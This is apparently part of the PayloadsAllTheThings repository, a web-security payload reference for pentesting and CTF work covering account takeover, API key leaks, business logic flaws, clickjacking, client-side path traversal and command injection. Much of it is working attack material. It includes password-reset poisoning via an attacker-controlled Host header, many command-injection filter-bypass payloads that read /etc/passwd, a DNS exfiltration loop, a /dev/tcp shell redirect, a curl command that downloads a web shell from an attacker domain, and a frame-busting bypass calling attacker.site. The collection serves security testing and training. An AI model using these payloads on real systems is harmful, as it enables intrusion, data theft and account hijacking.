PayloadsAllTheThings Documentation

A list of useful payloads and bypass for Web Application Security and Pentest/CTF

RAW Doc

File: README.md

Payloads All The Things

A list of useful payloads and bypasses for Web Application Security.
Feel free to improve with your payloads and techniques!

You can also contribute with a :beers: IRL, or using the sponsor button.


An alternative display version is available at PayloadsAllTheThingsWeb.

:book: Documentation

Every section contains the following files, you can use the _template_vuln folder to create a new chapter:

  • README.md - vulnerability description and how to exploit it, including several payloads
  • Intruder - a set of files to give to Burp Intruder
  • Images - pictures for the README.md
  • Files - some files referenced in the README.md

You might also like the other projects from the AllTheThings family :

You want more? Check the Books and YouTube channel selections.

:technologist: Contributions

Be sure to read CONTRIBUTING.md

Thanks again for your contribution! :heart:

:beers: Sponsors

This project is proudly sponsored by these companies.

Logo Description
SerpApi is a real time API to access Google search results. It solves the issues of having to rent proxies, solving captchas, and JSON parsing.
ProjectDiscovery - Detect real, exploitable vulnerabilities. Harness the power of Nuclei for fast and accurate findings without false positives.
VAADATA - Ethical Hacking Services

File: _template_vuln/README.md

Vulnerability Title

Vulnerability description - reference

Summary

Tools

Methodology

Quick explanation

powershell
Exploit

Subentry 1

Subentry 2

Labs

References


File: Account Takeover/README.md

Account Takeover

Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.

Summary

Password Reset Feature

Password Reset Token Leak via Referrer

  1. Request password reset to your email address
  2. Click on the password reset link
  3. Don't change password
  4. Click any 3rd party websites(e.g., Facebook, twitter)
  5. Intercept the request in Burp Suite proxy
  6. Check if the referer header is leaking password reset token.

Account Takeover Through Password Reset Poisoning

  1. Intercept the password reset request in Burp Suite

  2. Add or edit the following headers in Burp Suite : Host: [ATTACKER.DOMAIN.TLD], X-Forwarded-Host: [ATTACKER.DOMAIN.TLD]

  3. Forward the request with the modified header

    http
    POST https://example.com/reset.php HTTP/1.1
    Accept: */*
    Content-Type: application/json
    Host: [ATTACKER.DOMAIN.TLD]
  4. Look for a password reset URL based on the host header like : https://[ATTACKER.DOMAIN.TLD]/reset-password.php?token=TOKEN

Password Reset via Email Parameter

IDOR on API Parameters

  1. Attacker have to login with their account and go to the Change password feature.

  2. Start the Burp Suite and Intercept the request

  3. Send it to the repeater tab and edit the parameters : User ID/email

    powershell
    POST /api/changepass
    [...]
    ("form": {"email":"[email protected]","password":"securepwd"})

Weak Password Reset Token

The password reset token should be randomly generated and unique every time.
Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence (<6 characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. Trigger a password reset request using the API/UI for a specific email e.g: [email protected]
  2. Inspect the server response and check for resetToken
  3. Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset via Username Collision

  1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: "admin "
  2. Request a password reset with your malicious username.
  3. Use the token sent to your email and reset the victim password.
  4. Connect to the victim account with the new password.

The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245

Account Takeover Due To Unicode Normalization Issue

When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.

Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character.

Unicode pentester cheatsheet can be used to find list of suitable unicode characters based on platform.

Account Takeover via Web Vulnerabilities

Account Takeover via Cross Site Scripting

  1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : *.domain.com
  2. Leak the current sessions cookie
  3. Authenticate as the user using the cookie

Account Takeover via HTTP Request Smuggling

Refer to HTTP Request Smuggling vulnerability page.

  1. Use smuggler to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)

    powershell
    git clone https://github.com/defparam/smuggler.git
    cd smuggler
    python3 smuggler.py -h
  2. Craft a request which will overwrite the POST / HTTP/1.1 with the following data:

    powershell
    GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
    X:
  3. Final request could look like the following

    powershell
    GET /  HTTP/1.1
    Transfer-Encoding: chunked
    Host: something.com
    User-Agent: Smuggler/v1.0
    Content-Length: 83
    
    0
    
    GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
    X: X

Hackerone reports exploiting this bug

Account Takeover via CSRF

  1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
  2. Send the payload

Account Takeover via JWT

JSON Web Token might be used to authenticate a user.

  • Edit the JWT with another User ID / Email
  • Check for weak JWT signature

References


File: API Key Leaks/README.md

API Key and Token Leaks

API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.

Summary

Tools

  • aquasecurity/trivy - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets.

  • blacklanternsecurity/badsecrets - A library for detecting known or weak secrets on across many platforms.

  • irsdl/crapsecrets - A library for detecting known secrets across many web frameworks.

  • d0ge/sign-saboteur - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens.

  • mazen160/secrets-patterns-db - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.

  • momenbasel/KeyFinder - is a tool that let you find keys while surfing the web.

  • streaak/keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.

  • trufflesecurity/truffleHog - Find credentials all over the place.

  • projectdiscovery/nuclei-templates - Use these templates to test an API token against many API service endpoints.

    powershell
    nuclei -t token-spray/ -var token=token_list.txt

Methodology

  • API Keys: Unique identifiers used to authenticate requests associated with your project or application.
  • Tokens: Security tokens (like OAuth tokens) that grant access to protected resources.

Common Causes of Leaks

  • Hardcoding in Source Code: Developers may unintentionally leave API keys or tokens directly in the source code.

    py
    # Example of hardcoded API key
    api_key = "1234567890abcdef"
  • Public Repositories: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.

    ps1
    ## Scan a Github Organization
    docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
    
    ## Scan a GitHub Repository, its Issues and Pull Requests
    docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
  • Hardcoding in Docker Images: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.

    ps1
    # Scan a Docker image for verified secrets
    docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
  • Logs and Debug Information: Keys and tokens might be inadvertently logged or printed during debugging processes.

  • Configuration Files: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).

Validate The API Key

If assistance is needed in identifying the service that generated the token, mazen160/secrets-patterns-db can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.

yaml
patterns:
  - pattern:
      name: AWS API Gateway
      regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
      confidence: low
  - pattern:
      name: AWS API Key
      regex: AKIA[0-9A-Z]{16}
      confidence: high

Use streaak/keyhacks or read the documentation of the service to find a quick way to verify the validity of an API key.

  • Example: Telegram Bot API Token

    ps1
    curl https://api.telegram.org/bot<TOKEN>/getMe

Reducing The Attack Surface

Check the existence of a private key or AWS credentials before committing your changes in a GitHub repository.

Add these lines to your .pre-commit-config.yaml file.

yml
-   repo: https://github.com/pre-commit/pre-commit-hooks
    rev: v3.2.0
    hooks:
    -   id: detect-aws-credentials
    -   id: detect-private-key

References


File: Business Logic Errors/README.md

Business Logic Errors

Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.

Summary

Methodology

Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.

Common examples of Business Logic Errors.

Review Feature Testing

  • Assess if you can post a product review as a verified reviewer without having purchased the item.
  • Attempt to provide a rating outside of the standard scale, for instance, a 0, 6 or negative number in a 1 to 5 scale system.
  • Test if the same user can post multiple ratings for a single product. This is useful in detecting potential race conditions.
  • Determine if the file upload field permits all extensions; developers often overlook protections on these endpoints.
  • Investigate the possibility of posting reviews impersonating other users.
  • Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.

Discount Code Feature Testing

  • Try to apply the same discount code multiple times to assess if it's reusable.
  • If the discount code is unique, evaluate for race conditions by applying the same code for two accounts simultaneously.
  • Test for Mass Assignment or HTTP Parameter Pollution to see if you can apply multiple discount codes when the application is designed to accept only one.
  • Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
  • Attempt to apply discount codes to non-discounted items by manipulating the server-side request.

Delivery Fee Manipulation

  • Experiment with negative values for delivery charges to see if it reduces the final amount.
  • Evaluate if free delivery can be activated by modifying parameters.

Currency Arbitrage

  • Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.

Premium Feature Exploitation

  • Explore the possibility of accessing premium account-only sections or endpoints without a valid subscription.
  • Purchase a premium feature, cancel it, and see if you can still use it after a refund.
  • Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
  • Review cookies or local storage for variables validating premium access.

Refund Feature Exploitation

  • Purchase a product, ask for a refund, and see if the product remains accessible.
  • Look for opportunities for currency arbitrage.
  • Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.

Cart/Wishlist Exploitation

  • Test the system by adding products in negative quantities, along with other products, to balance the total.
  • Try to add more of a product than is available.
  • Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.

Thread Comment Testing

  • Check if there's a limit to the number of comments on a thread.
  • If a user can only comment once, use race conditions to see if multiple comments can be posted.
  • If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
  • Attempt to post comments impersonating other users.

Rounding Error

The report hackerone #176461 describes a business logic flaw in a cryptocurrency platform (using XBT/Bitcoin), where an attacker exploits a rounding error in the internal transfer system to generate money out of nothing.

The attacker initiate a transfer of 0.000000005 XBT (0.5 satoshi), this is below the system's minimum precision which is 1 satoshi minimum.

  • Sender's balance doesn't change. The algorithm might be rounded down to 0 satoshi.
  • Receiver's balance increases by 1 satoshi (0.00000001). The algorithm might be rounding up to 1 satoshi.

The attacker generated 0.00000001 XBT from nothing, since there's no rate limit, OTP, or fraud detection, the attacker can automate this process and repeat it infinitely, effectively printing money.

In this example, instead of rounding and rejecting or enforcing a minimum transfer, it ignores the deduction from the sender and credits the receiver.

References


File: Clickjacking/README.md

Clickjacking

Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on โ€˜Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.

Summary

Tools

Methodology

UI Redressing

UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,
the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.

  • How UI Redressing Works:
    • Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a ``) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like opacity: 0;.
    • Positioning and Layering: By setting the CSS properties such as position: absolute; top: 0; left: 0;, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
    • Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
    • User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
html
[Click me](malicious-link)

Invisible Frames

Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).
The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.

  • How Invisible Frames Work:
    • Hidden IFrame Creation: The attacker includes an `` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.

      html
    • Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.

    • User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.

    • Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.

Button/Form Hijacking

Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.

  • How Button/Form Hijacking Works:

    • Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
    html
    Click me
    • Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
    html
    <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
    
    </form>
    • Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
    html
    Click me
    <form action="legitimate-site" method="POST" id="hidden-form">
      
    </form>
    <script>
      function submitForm() {
        document.getElementById('hidden-form').submit();
      }
    </script>

Execution Methods

  • Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user.
html
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
  
  
  </form>
  • Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.
js
function submitForm() {
    document.getElementById('hidden-form').submit();
  }

Preventive Measures

Implement X-Frame-Options Header

Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent.

apache
Header always append X-Frame-Options SAMEORIGIN

Content Security Policy (CSP)

Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
Define a strong CSP policy to prevent unauthorized framing and loading of external resources.
Example in HTML meta tag:

html
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">

Disabling JavaScript

  • Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.

  • There are three deactivation techniques that can be used with frames:

    • Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.
    html
    • Sandbox attribute: with HTML5 there is a new attribute called โ€œsandboxโ€. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.
    html

OnBeforeUnload Event

  • The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.

  • The attacker can use this attack by registering an unload event on the top page using the following example code:

html
<h1>www.fictitious.site</h1>
<script>
    window.onbeforeunload = function()
    {
        return " Do you want to leave fictitious.site?";
    }
</script>
  • The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a "HTTP/1.1 204 No Content" header.

204 page:

php
<?php
    header("HTTP/1.1 204 No Content");
?>

Attacker's Page:

js
<script>
    var prevent_bust = 0;
    window.onbeforeunload = function() {
        prevent_bust++;
    };
    setInterval(
        function() {
            if (prevent_bust > 0) {
                prevent_bust -= 2;
                window.top.location = "http://attacker.site/204.php";
            }
        }, 1);
</script>

XSS Filter

IE8 XSS filter

This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.

html
<script>
    if ( top != self )
    {
        top.location=self.location;
    }
</script>

Attacker View:

html
ifโ€>

Chrome 4.0 XSSAuditor filter

It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a โ€œscriptโ€ by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.

Attacker View:

html

Challenge

Inspect the following code:

html
Click me

Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.

Labs

References


File: Client Side Path Traversal/README.md

Client Side Path Traversal

Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.

Summary

Tools

Methodology

CSPT to XSS

A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject ../ sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.

Example:

  • The page https://example.com/static/cms/news.html takes a newsitemid as parameter
  • Then fetch the content of https://example.com/newitems/<newsitemid>
  • A text injection was also discovered in https://example.com/pricing/default.js via the cb parameter
  • Final payload is https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//

CSPT to CSRF

A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.

CSRF CSPT2CSRF
POST CSRF ? :white_check_mark: :white_check_mark:
Can control the body ? :white_check_mark: :x:
Can work with anti-CSRF token ? :x: :white_check_mark:
Can work with Samesite=Lax ? :x: :white_check_mark:
GET / PATCH / PUT / DELETE CSRF ? :x: :white_check_mark:
1-click CSRF ? :x: :white_check_mark:
Does impact depend on source and on sinks ? :x: :white_check_mark:

Real-World Scenarios:

  • 1-click CSPT2CSRF in Rocket.Chat
  • CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : /<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate
  • CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
  • Client Side Path Manipulation - erasec.be: CSPT2CSRF https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=
  • CVE-2023-5123 : CSPT2CSRF in Grafanaโ€™s JSON API Plugin

Labs

References


File: Command Injection/README.md

Command Injection

Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.

Summary

Tools

Methodology

Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.

The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.

Example of Command Injection with PHP:
Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:

php
<?php
    $ip = $_GET['ip'];
    system("ping -c 4 " . $ip);
?>

In the above code, the PHP script uses the system() function to execute the ping command with the IP address or domain provided by the user through the ip GET parameter.

If an attacker provides input like 8.8.8.8; cat /etc/passwd, the actual command that gets executed would be: ping -c 4 8.8.8.8; cat /etc/passwd.

This means the system would first ping 8.8.8.8 and then execute the cat /etc/passwd command, which would display the contents of the /etc/passwd file, potentially revealing sensitive information.

Basic Commands

Execute the command and voila :p

powershell
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...

Chaining Commands

In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.

  • ; (Semicolon): Allows you to execute multiple commands sequentially.
  • && (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
  • || (OR): Execute the second command only if the first command fails (returns a non-zero exit status).
  • & (Background): Execute the command in the background, allowing the user to continue using the shell.
  • | (Pipe): Takes the output of the first command and uses it as the input for the second command.
powershell
command1; command2   # Execute command1 and then command2
command1 && command2 # Execute command2 only if command1 succeeds
command1 || command2 # Execute command2 only if command1 fails
command1 & command2  # Execute command1 in the background
command1 | command2  # Pipe the output of command1 into command2

Argument Injection

Gain a command execution when you can only append arguments to an existing command.
Use this website Argument Injection Vectors - Sonar to find the argument to inject to gain command execution.

  • Chrome

    ps1
    chrome '--gpu-launcher="id>/tmp/foo"'
  • SSH

    ps1
    ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
  • psql

    ps1
    psql -o'|id>/tmp/foo'

Argument injection can be abused using the worstfit technique.

In the following example, the payload ๏ผ‚ --use-askpass=calc ๏ผ‚ is using fullwidth double quotes (U+FF02) instead of the regular double quotes (U+0022)

php
$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));

Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.

  • curl

    ps1
    # -o, --output <file>        Write to file instead of stdout
    curl http://[ATTACKER.DOMAIN.TLD]/ -o webshell.php

Inside A Command

  • Command injection using backticks.

    bash
    original_cmd_by_server `cat /etc/passwd`
  • Command injection using substitution

    bash
    original_cmd_by_server $(cat /etc/passwd)

Filter Bypasses

Bypass Without Space

  • $IFS is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret $IFS as a space. $IFS does not directly work as a separator in commands like ls, wget; use ${IFS} instead.

    powershell
    cat${IFS}/etc/passwd
    ls${IFS}-la
  • In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.

    powershell
    {cat,/etc/passwd}
  • Input redirection. The < character tells the shell to read the contents of the file specified.

    powershell
    cat</etc/passwd
    sh</dev/tcp/127.0.0.1/4242
  • ANSI-C Quoting

    powershell
    X=$'uname\x20-a'&&$X
  • The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value 09.

    powershell
    ;ls%09-al%09/home
  • In Windows, %VARIABLE:~start,length% is a syntax used for substring operations on environment variables.

    powershell
    ping%CommonProgramFiles:~10,-18%127.0.0.1
    ping%PROGRAMFILES:~10,-5%127.0.0.1

Bypass With A Line Return

Commands can also be run in sequence with newlines

bash
original_cmd_by_server
ls

Bypass With Backslash Newline

  • Commands can be broken into parts by using backslash followed by a newline

    powershell
    $ cat /et\
    c/pa\
    sswd
  • URL encoded form would look like this:

    powershell
    cat%20/et%5C%0Ac/pa%5C%0Asswd

Bypass With Tilde Expansion

powershell
echo ~+
echo ~-

Bypass With Brace Expansion

powershell
{,ip,a}
{,ifconfig}
{,ifconfig,eth0}
{l,-lh}s
{,echo,#test}
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}

Bypass Characters Filter

Commands execution without backslash and slash - linux bash

powershell
swissky@crashlab:~$ echo ${HOME:0:1}
/

swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/

swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/

swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash

Bypass Characters Filter Via Hex Encoding

powershell
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash

Bypass With Single Quote

powershell
w'h'o'am'i
wh''oami
'w'hoami

Bypass With Double Quote

powershell
w"h"o"am"i
wh""oami
"wh"oami

Bypass With Backticks

powershell
wh``oami

Bypass With Backslash and Slash

powershell
w\ho\am\i
/\b\i\n/////s\h

Bypass With $@

$0: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, $0 will typically give the name of the shell.

powershell
who$@ami
echo whoami|$0

Bypass With $()

powershell
who$()ami
who$(echo am)i
who`echo am`i

Bypass With Variable Expansion

powershell
/???/??t /???/p??s??

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

Bypass With Wildcards

powershell
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc

Bypass With Random Case

Windows does not distinguish between uppercase and lowercase letters when interpreting commands or file paths. For example, DIR, dir, or DiR will all execute the same dir command.

powershell
wHoAmi

Data Exfiltration

Time Based Data Exfiltration

Extracting data char by char and detect the correct value based on the delay.

  • Correct value: wait 5 seconds

    powershell
    swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
    real    0m5.007s
    user    0m0.000s
    sys 0m0.000s
  • Incorrect value: no delay

    powershell
    swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
    real    0m0.002s
    user    0m0.000s
    sys 0m0.000s

Dns Based Data Exfiltration

Based on the tool from HoLyVieR/dnsbin, also hosted at dnsbin.zhack.ca

  1. Go to dnsbin.zhack.ca
  2. Execute a simple 'ls'
powershell
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

Online tools to check for DNS based data exfiltration:

Polyglot Command Injection

A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.

  • Example 1:

    powershell
    Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
    
    # Context inside commands with single and double quote:
    echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
    echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
    echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
  • Example 2:

    powershell
    Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
    
    # Context inside commands with single and double quote:
    echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
    echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
    echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'

Tricks

Backgrounding Long Running Commands

In some instances, you might have a long running command that gets killed by the process injecting it timing out.
Using nohup, you can keep the process running after the parent process exits.

bash
nohup sleep 120 > /dev/null &

Remove Arguments After The Injection

In Unix-like command-line interfaces, the -- symbol is used to signify the end of command options. After --, all arguments are treated as filenames and arguments, and not as options.

Labs

Challenge

Challenge based on the previous tricks, what does the following command do:

powershell
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}

NOTE: The command is safe to run, but you should not trust me.

References